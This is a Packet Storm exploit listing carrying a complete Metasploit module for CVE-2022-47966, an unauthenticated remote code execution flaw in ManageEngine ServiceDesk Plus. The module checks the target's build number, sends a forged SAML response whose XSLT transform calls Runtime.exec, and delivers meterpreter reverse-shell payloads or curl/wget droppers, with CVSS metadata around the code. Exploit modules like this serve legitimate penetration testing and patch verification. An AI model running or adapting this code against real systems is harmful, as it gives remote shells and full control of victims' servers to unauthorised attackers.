Lucene search

K
packetstormChristophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.comPACKETSTORM:170882
HistoryFeb 07, 2023 - 12:00 a.m.

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

2023-02-0700:00:00
Christophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.com
packetstormsecurity.com
258

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and  
below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the ServiceDesk Plus  
SAML endpoint. Note that the target is only vulnerable if it has been  
configured with SAML-based SSO at least once in the past, regardless of  
the current SAML-based SSO status.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => ['win', 'unix', 'linux'],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },  
'CmdStagerFlavor' => %w[curl wget echo lwprequest]  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),  
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'])  
)  
return CheckCode::Unknown unless res  
  
# vulnerable servers respond with 400 and a HTML body  
return CheckCode::Safe unless res.code == 400  
  
script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')  
info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)  
return CheckCode::Unknown unless info  
unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'  
return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")  
end  
  
# SAML 2.0 support has been added in build 10511  
# see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105  
build = Rex::Version.new(info[:build])  
unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')  
return CheckCode::Safe("Target build is #{info[:build]}")  
end  
  
CheckCode::Appears  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
case target['Type']  
when :windows_command, :unix_cmd  
execute_command(payload.encoded)  
when :windows_dropper, :linux_dropper  
execute_cmdstager(delay: datastore['DELAY'])  
end  
end  
  
def execute_command(cmd, _opts = {})  
case target['Type']  
when :windows_dropper  
cmd = "cmd /c #{cmd}"  
when :unix_cmd, :linux_dropper  
cmd = cmd.gsub(' ') { '${IFS}' }  
cmd = "bash -c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI']),  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 500  
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)  
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }  
elog("Unkown error returned:\n#{lines.join("\n")}")  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")  
end  
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')  
end  
  
res  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H